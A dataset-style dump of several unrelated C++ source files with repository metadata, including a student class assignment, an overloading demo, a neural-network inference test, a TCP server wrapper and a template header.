UrfanAlvany/Programming-in-C-and-Cpp
|
e23a485d5ce302cbbc14bd67a0f656797c3f6af1
|
[
"MIT"
] | null | null | null |
Assigment 12/a12_p3/Tournamentmember.cpp
|
UrfanAlvany/Programming-in-C-and-Cpp
|
e23a485d5ce302cbbc14bd67a0f656797c3f6af1
|
[
"MIT"
] | null | null | null |
#include <iostream>
#include <cstring>
#include "TournamentMember.h"
using namespace std;
string TournamentMember::location;
TournamentMember::TournamentMember()
{
strcpy(this->name,"Tournament");
strcpy(this->LastName,"Member");
strcpy(this->Bday,"2000-12-19");
cout << "Created with TournamentMember empty constructor" << endl;
}
TournamentMember::TournamentMember(char * n, char * l, char * b)
{
for(int i=0; i<35; i++)
{
this->name[i]=n[i];
this->LastName[i]=l[i];
if(i<11)
{
this->Bday[i]=b[i];
}
}
cout << "Created with TournamentMember parametric constructor" << endl;
}
TournamentMember::~TournamentMember()
{
cout << "Destroying TournamentMember object" << endl;
}
TournamentMember::TournamentMember(const TournamentMember & t)
{
for(int i=0; i<35; i++)
{
this->name[i]=t.name[i];
this->LastName[i]=t.LastName[i];
if(i<11)
{
this->Bday[i]=t.Bday[i];
}
}
cout << "Created with TournamentMember copy constructor" << endl;
}
Player::Player() : TournamentMember()
{
this->number=0;
this->position="center";
this->goals=0;
this->foot="right-footed";
cout << "Created with Player empty constructor" << endl;
}
Player::Player(char * n, char * l, char * b, int nu, string p, int g, string f) : TournamentMember(n, l, b)
{
this->number=nu;
this->position=p;
this->goals=g;
this->foot=f;
cout << "Created with Player parametric constructor" << endl;
}
Player::~Player()
{
cout << "Destroying Player object" << endl;
}
Player::Player(const Player & t)
{
for(int i=0; i<35; i++)
{
this->name[i]=t.name[i];
this->LastName[i]=t.LastName[i];
if(i<11)
{
this->Bday[i]=t.Bday[i];
}
}
this->number=t.number;
this->position=t.position;
this->goals=t.goals;
this->foot=t.foot;
cout << "created with Player copy constructor" << endl;
}
void Player::print()
{
cout << "Player's name is " << this->name << " " << this->LastName << "." << endl;
cout << "Birthday: " << this->Bday << endl;
cout << "Location: " << this->location << endl;
cout << "Number: " << this->number << endl;
cout << "Position: " << this->position << endl;
cout << "Goals: " << this->goals << endl;
cout << "Footed: " << this->foot << endl;
}
| 25.744681
| 107
| 0.573554
|
UrfanAlvany
|
d0c4474cbb478c62a17f5eb45c64593af819be2e
| 882
|
cpp
|
C++
|
CH17/COMPARE1/compare.cpp
|
acastellanos95/AppCompPhys
|
920a7ba707e92f1ef92fba9d97323863994f0b1a
|
[
"MIT"
] | null | null | null |
CH17/COMPARE1/compare.cpp
|
acastellanos95/AppCompPhys
|
920a7ba707e92f1ef92fba9d97323863994f0b1a
|
[
"MIT"
] | null | null | null |
CH17/COMPARE1/compare.cpp
|
acastellanos95/AppCompPhys
|
920a7ba707e92f1ef92fba9d97323863994f0b1a
|
[
"MIT"
] | null | null | null |
#include <iostream>
bool comparesGreater(int a, int b) {
if (a > b)
return true;
return false;
}
bool comparesGreater(double a, double b) {
if (a > b)
return true;
return false;
}
int main(int argc, char *argv[]) {
using namespace std;
cout << "1 (int) compares greater than 2 (int)? " << comparesGreater(1, 2) << endl; // false
cout << "1.5 (float) compares greater than 1.22 (float)? " << comparesGreater(1.5, 1.22) << endl; // true
cout << "3.402E-38 (double) compares greater than 2.7E-35 (double)? " << comparesGreater(3.402E-38, 2.7E-35) << endl; // false
// cout << "'a' (char) compares greater than 2.48 (float)? " << comparesGreater('a', 2.48) << endl; // --> it gives 'ambiguos' error!!
// cout << "'a' (char) compares greater than 'c' (char)? " << comparesGreater('a', 2.48) << endl; // TODO: vedi come sono covertiti char->int
return 0;
}
| 27.5625
| 142
| 0.61678
|
acastellanos95
|
d0c52e5448eb548e5699e99843f2f3b93659fb98
| 5,376
|
cpp
|
C++
|
tests/bin/test_two_sqz.cpp
|
YJieZhang/Tengine
|
f5cf2b4cecde412d9c9ae72c3278d9c65110e206
|
[
"Apache-2.0"
] | null | null | null |
tests/bin/test_two_sqz.cpp
|
YJieZhang/Tengine
|
f5cf2b4cecde412d9c9ae72c3278d9c65110e206
|
[
"Apache-2.0"
] | null | null | null |
tests/bin/test_two_sqz.cpp
|
YJieZhang/Tengine
|
f5cf2b4cecde412d9c9ae72c3278d9c65110e206
|
[
"Apache-2.0"
] | null | null | null |
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* License); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* AS IS BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
/*
* Copyright (c) 2017, Open AI Lab
* Author: haitao@openailab.com
*/
#include <unistd.h>
#include <iostream>
#include <functional>
#include <algorithm>
#include <thread>
#include <fstream>
#include <iomanip>
#include "tengine_c_api.h"
#include "image_process.hpp"
#include "common_util.hpp"
#include "tengine_config.hpp"
const char * text_file="./tests/data/sqz.prototxt";
const char * model_file="./tests/data/squeezenet_v1.1.caffemodel";
const char * image_file="./tests/data/cat.jpg";
const char * mean_file="./tests/data/imagenet_mean.binaryproto";
const char * label_file="./tests/data/synset_words.txt";
const char * model_name="squeezenet";
int img_h=227;
int img_w=227;
using namespace TEngine;
void LoadLabelFile(std::vector<std::string>& result, const char * fname)
{
std::ifstream labels(fname);
std::string line;
while (std::getline(labels, line))
result.push_back(line);
}
int common_init(void)
{
init_tengine_library();
if(request_tengine_version("0.1")<0)
return 1;
if(load_model(model_name,"caffe",text_file,model_file)<0)
return 1;
std::cout<<"Load model successfully\n";
dump_model(model_name);
return 0;
}
int thread_func(void)
{
graph_t graph=create_runtime_graph("graph0",model_name,NULL);
if(!check_graph_valid(graph))
{
std::cout<<"create graph0 failed\n";
return 1;
}
/* set input and output node*/
const char * input_node_name="input";
const char * output_node_name="prob";
if(set_graph_input_node(graph,&input_node_name,1)<0)
{
std::printf("set input node: %s failed\n",input_node_name);
return 1;
}
if(set_graph_output_node(graph,&output_node_name,1)<0)
{
std::printf("set output node: %s failed\n",output_node_name);
return 1;
}
const char * input_tensor_name="data";
tensor_t input_tensor=get_graph_tensor(graph,input_tensor_name);
if(!check_tensor_valid(input_tensor))
{
std::printf("cannot find tensor: %s\n",input_tensor_name);
return -1;
}
int dims[]={1,3,img_h,img_w};
set_tensor_shape(input_tensor,dims,4);
/* setup input buffer */
float * input_data=(float *)malloc(3*img_h*img_w*4);
if(set_tensor_buffer(input_tensor,input_data,3*img_h*img_w*4)<0)
{
std::printf("set buffer for tensor: %s failed\n",input_tensor_name);
return -1;
}
const char * output_tensor_name="prob";
tensor_t output_tensor=get_graph_tensor(graph,output_tensor_name);
float * output_data=(float *)malloc(1000*4);
memset(output_data,0x0,4000);
if(set_tensor_buffer(output_tensor,output_data,1000*4)<0)
{
std::printf("set buffer for tensor: %s failed\n",output_tensor_name);
return -1;
}
/* run the graph */
prerun_graph(graph);
int dim_size=get_tensor_shape(output_tensor,dims,4);
if(dim_size<0)
{
printf("get output tensor shape failed\n");
return -1;
}
printf("output tensor shape: [");
for(int i=0;i<dim_size;i++)
printf("%d ",dims[i]);
printf("]\n");
int count=10;
while (count-->0)
{
float * input_image=caffe_process_image(image_file,mean_file,img_h,img_w);
int input_size=img_h*img_w*3*sizeof(float);
memcpy(input_data,input_image,input_size);
run_graph(graph,1);
int count=get_tensor_buffer_size(output_tensor)/4;
float * data=(float *)(output_data);
float * end=data+count;
std::vector<float> result(data, end);
std::vector<int> top_N=Argmax(result,5);
std::vector<std::string> labels;
LoadLabelFile(labels,label_file);
std::cout<<"RESULT:\n";
for(unsigned int i=0;i<top_N.size();i++)
{
int idx=top_N[i];
std::cout<<std::fixed << std::setprecision(4)<<result[idx]<<" - \"";
std::cout<< labels[idx]<<"\"\n";
}
sleep(1);
}
postrun_graph(graph);
put_graph_tensor(input_tensor);
put_graph_tensor(output_tensor);
destroy_runtime_graph(graph);
remove_model(model_name);
std::cout<<"ALL TESTS DONE\n";
return 0;
}
int main(int argc, char * argv[])
{
int res;
while((res=getopt(argc,argv,"e"))!=-1)
{
switch(res)
{
case 'e':
TEngineConfig::Set("exec.engine","event");
break;
default:
break;
}
}
common_init();
std::thread * tr1=new std::thread(thread_func);
std::thread * tr2=new std::thread(thread_func);
tr1->join();
tr2->join();
return 0;
}
| 22.4
| 81
| 0.65718
|
YJieZhang
|
d0cbd4e80f26e7e85fcf16d32e8d80f7a872bb82
| 245
|
cpp
|
C++
|
source/automated-tests/boost-test/main.test.cpp
|
alf-p-steinbach/cppx-core-language
|
930351fe0df65e231e8e91998f1c94d345938107
|
[
"MIT"
] | 3
|
2020-05-24T16:29:42.000Z
|
2021-09-10T13:33:15.000Z
|
source/automated-tests/boost-test/main.test.cpp
|
alf-p-steinbach/cppx-core-language
|
930351fe0df65e231e8e91998f1c94d345938107
|
[
"MIT"
] | null | null | null |
source/automated-tests/boost-test/main.test.cpp
|
alf-p-steinbach/cppx-core-language
|
930351fe0df65e231e8e91998f1c94d345938107
|
[
"MIT"
] | null | null | null |
#define BOOST_TEST_MODULE cppx-core unit tests
#include <_/test-framework.hpp>
#ifdef _WIN32
# include <c/stdlib.hpp> // system
const bool dummy = []()
{
return EXIT_SUCCESS == system( "chcp 65001 >nul" );
}();
#endif
| 22.272727
| 59
| 0.62449
|
alf-p-steinbach
|
d0cc1e55b47760d4df738d02ab8603975614ff1f
| 219
|
cpp
|
C++
|
test/scratch/test.scratch.temp_file/implicit_link.cpp
|
stlsoft/xTests
|
fa0a0315283f85f2b8c07a5ce9e5dce19127541a
|
[
"BSD-3-Clause"
] | 1
|
2016-04-02T16:56:29.000Z
|
2016-04-02T16:56:29.000Z
|
test/scratch/test.scratch.temp_file/implicit_link.cpp
|
stlsoft/xTests
|
fa0a0315283f85f2b8c07a5ce9e5dce19127541a
|
[
"BSD-3-Clause"
] | 1
|
2019-10-09T18:16:48.000Z
|
2019-10-09T18:16:48.000Z
|
test/scratch/test.scratch.temp_file/implicit_link.cpp
|
stlsoft/xTests
|
fa0a0315283f85f2b8c07a5ce9e5dce19127541a
|
[
"BSD-3-Clause"
] | 2
|
2016-02-08T20:20:09.000Z
|
2021-03-31T10:37:23.000Z
|
#include <platformstl/platformstl.h>
#if defined(PLATFORMSTL_OS_IS_UNIX) && \
defined(_WIN32)
# include <unixem/implicit_link.h>
#endif
/* ///////////////////////////// end of file //////////////////////////// */
| 24.333333
| 76
| 0.525114
|
stlsoft
|
d0cc96f2d42506c592cd5a70db196590b758bcc8
| 2,559
|
cpp
|
C++
|
tcpserver.cpp
|
GSIO01/gsnet
|
3f073c82c41f3a5832d34ab5edfdbb935e844c05
|
[
"MIT"
] | null | null | null |
tcpserver.cpp
|
GSIO01/gsnet
|
3f073c82c41f3a5832d34ab5edfdbb935e844c05
|
[
"MIT"
] | null | null | null |
tcpserver.cpp
|
GSIO01/gsnet
|
3f073c82c41f3a5832d34ab5edfdbb935e844c05
|
[
"MIT"
] | null | null | null |
/*
*
* The MIT License (MIT)
*
* Copyright (c) 2015 Walter Julius Hennecke
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*
*/
#include "tcpserver.h"
#if !defined(WIN32) & !defined(_MSC_VER)
#include <netinet/in.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <cstring>
static int32_t(*closesocket)(int32_t s) = close;
static int32_t(*ioctlsocket)(int32_t s, unsigned long cmd, ...) = ioctl;
#endif
namespace GSNet {
CTcpServer::CTcpServer(int32_t port, int32_t connections, ESocketType type /* = ST_BLOCKING */) {
sockaddr_in sa;
_lastError = SE_SUCCESS;
memset(&sa, 0, sizeof(sockaddr_in));
sa.sin_family = PF_INET;
sa.sin_port = htons(port);
_s = socket(AF_INET, SOCK_STREAM, 0);
if (_s == INVALID_SOCKET) {
_lastError = SE_ERROR_CREATE;
return;
}
if (type == ST_NON_BLOCKING) {
u_long arg = 1;
if (ioctlsocket(_s, FIONBIO, &arg) == SOCKET_ERROR) {
_lastError = SE_ERROR_IOCTL;
return;
}
}
if (bind(_s, (sockaddr*)& sa, sizeof(sockaddr_in)) == SOCKET_ERROR) {
_lastError = SE_ERROR_BIND;
closesocket(_s);
return;
}
if (listen(_s, connections) == SOCKET_ERROR) {
_lastError = SE_ERROR_LISTEN;
}
}
ISocket* CTcpServer::Accept() {
SOCKET new_sock = ::accept(_s, 0, 0);
if (new_sock == INVALID_SOCKET) {
_lastError = SE_ERROR_CREATE;
return nullptr;
}
CTcpSocket* r = new CTcpSocket(new_sock);
_lastError = SE_SUCCESS;
return r;
}
}
| 28.433333
| 99
| 0.684642
|
GSIO01
|
d0cd0bd45b34b913f96ff501a606f32db873c560
| 1,329
|
hpp
|
C++
|
sprout/weed/expr/make_terminal.hpp
|
jwakely/Sprout
|
a64938fad0a64608f22d39485bc55a1e0dc07246
|
[
"BSL-1.0"
] | 1
|
2018-09-21T23:50:44.000Z
|
2018-09-21T23:50:44.000Z
|
sprout/weed/expr/make_terminal.hpp
|
jwakely/Sprout
|
a64938fad0a64608f22d39485bc55a1e0dc07246
|
[
"BSL-1.0"
] | null | null | null |
sprout/weed/expr/make_terminal.hpp
|
jwakely/Sprout
|
a64938fad0a64608f22d39485bc55a1e0dc07246
|
[
"BSL-1.0"
] | null | null | null |
#ifndef SPROUT_WEED_EXPR_MAKE_TERMINAL_HPP
#define SPROUT_WEED_EXPR_MAKE_TERMINAL_HPP
#include <type_traits>
#include <sprout/config.hpp>
#include <sprout/string.hpp>
#include <sprout/utility/forward.hpp>
#include <sprout/weed/traits/type/is_c_str.hpp>
#include <sprout/weed/traits/expr/terminal_of.hpp>
#include <sprout/weed/detail/uncvref.hpp>
namespace sprout {
namespace weed {
//
// make_terminal
//
template<typename Arg>
inline SPROUT_CONSTEXPR typename std::enable_if<
!sprout::weed::traits::is_c_str<
typename sprout::weed::detail::uncvref<Arg>::type
>::value,
typename sprout::weed::traits::terminal_of<Arg>::type
>::type make_terminal(Arg&& arg) {
return typename sprout::weed::traits::terminal_of<Arg>::type(
sprout::forward<Arg>(arg)
);
}
template<typename Arg>
inline SPROUT_CONSTEXPR typename std::enable_if<
sprout::weed::traits::is_c_str<
typename sprout::weed::detail::uncvref<Arg>::type
>::value,
typename sprout::weed::traits::terminal_of<Arg>::type
>::type make_terminal(Arg&& arg) {
return typename sprout::weed::traits::terminal_of<Arg>::type(
sprout::to_string(sprout::forward<Arg>(arg))
);
}
} // namespace weed
} // namespace sprout
#endif // #ifndef SPROUT_WEED_EXPR_MAKE_TERMINAL_HPP
| 30.906977
| 65
| 0.702032
|
jwakely
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.